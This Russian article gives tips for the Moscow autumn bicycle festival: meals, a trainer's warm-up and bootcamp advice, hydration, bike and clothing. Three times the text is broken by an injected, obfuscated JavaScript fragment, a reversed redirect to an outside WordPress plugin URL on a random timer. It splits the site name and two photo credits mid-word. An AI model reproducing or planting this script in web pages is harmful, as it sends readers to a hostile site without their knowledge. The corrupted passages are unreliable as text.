15 сентября в Москве состоится Московский осенний велофестиваль. Стартовой площадкой для велопрогулки, в которой примет участие 41 тысяча человек, станет спортивный комплекс «Лужники». Маршрут составит 24 километра. fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru рассказывает, как подготовиться к этому велозаезду.
1. Питание в день велозаезда
На завтрак выберите пищу, богатую белками и медленными углеводами. Хорошим решением станут овсяная или гречневая каша, творог с добавлением свежих ягод и фруктов, омлет со свежими сезонными овощами.
Избегайте блюд с высоким содержанием жиров — они будут вызывать чувство тяжести и лености. Желательно, чтобы завтрак состоялся за 1,5-2 часа до старта, тогда пища успеет усвоиться перед началом активных физических нагрузок.
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
2. Разминка перед велозаездом
Дмитрий Брагин
тренер сети спортивных студий REBOOT и групповых сайкл-тренировок
— Подготовку к велозаезду, особенно тем, кто дебютирует, целесообразно начинать с физической активности в виде лёгких коротких дистанций на велосипеде. Постепенно нужно приближаться к километражу, предусмотренному велозаездом.
Советую заранее начать посещать функциональные тренировки и сайкл (групповые тренировки на стационарных велосипедах, которые имитируют гонки различной интенсивности. — Прим. ред.). Это поможет выйти на необходимый уровень готовности сердечно-сосудистой и дыхательной системы к серьёзным нагрузкам. Кроме этого, вы сможете укрепить мышцы, суставы и связочный аппарат.
Я считаю bootcamp-тренировки идеальным форматом подготовки, так как он сочетает интервальную кардионагрузку с тренировкой силы и выносливости мышц. Пройдя курс подобных тренировок, вы не только подготовитесь к веломарафону, но и увеличите скорость обменных процессов, ликвидируете лишние килограммы и в целом подниметесь на новый уровень функциональности.
Фото: REBOOT
Bootcamp — это часовые интервальные тренировки, которые позволяют повысить аэробную выносливость и силовые показатели. За счёт чередования кардио и силовой нагрузки человек может не только избавиться от лишних килограммов, но и укрепить мускулатуру.
Традиционно такие тренировки разбиваются на раунды: после первого 5—7-минутного раунда на беговых дорожках тренер даёт команду переместиться на степы для выполнения силовых упражнений. Затем снова кардио, после — новый силовой интервал и так далее.
Подобная тренировка будет организована для всех участников велофестиваля. Участники поделятся на две команды: первая будет выполнять упражнения на одну группу мышц, вторая — на другую, а затем наоборот. Затем, как на футбольном матче, команды поменяются полями — перейдут на сторону противника. Такая тренировка позволит не только разогреться перед велозаездом, но и зарядиться эмоционально.
3. Гидратация во время велозаезда
Потеря всего 2% жидкости способна значительно снизить ваши физические возможности. Во время физической активности мы теряем влагу через пот, и эти запасы необходимо восполнять.
В жаркие дни потоотделение усиливается, следовательно, нужен больший объём жидкости. Чтобы кровь не густела и была хорошей транспортной средой для кислорода, нужно за двухчасовую поездку выпивать не менее литра воды.
Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com
Что ещё важно
- Велосипед. Передвижение на нём должно быть максимально комфортным для вас. Не стоит отправляться в путешествие на дальние дистанции на новом или только что арендованном велосипеде.
- Одежда. Лучше всего приобрести специализированную, предварительно уточнив прогноз погоды на даты заезда. Современная велоодежда прекрасно отводит от тела лишнюю влагу и даёт возможность дышать коже, быстро сохнет и сохраняет тепло, не стесняет движений и стильно выглядит.
- Заминка. Закончив заезд, постарайтесь пройтись пешком 4-5 минут в спокойном темпе до постепенного снижения пульса (предварительно укрывшись сухим полотенцем для исключения переохлаждения).
Статьи по теме
5 лучших приложений для тех, кто катается на велосипеде: маршруты, отслеживание прогресса и справочник по ремонту
«Ехать, доверять, жить»: незрячая спортсменка Лена Федосеева о путешествии в 1 000 км на велотандеме
Паравелоспорт в России: кто такие хендбайкеры и как они тренируются
60-минутные тренировки на велосипеде для классного тела
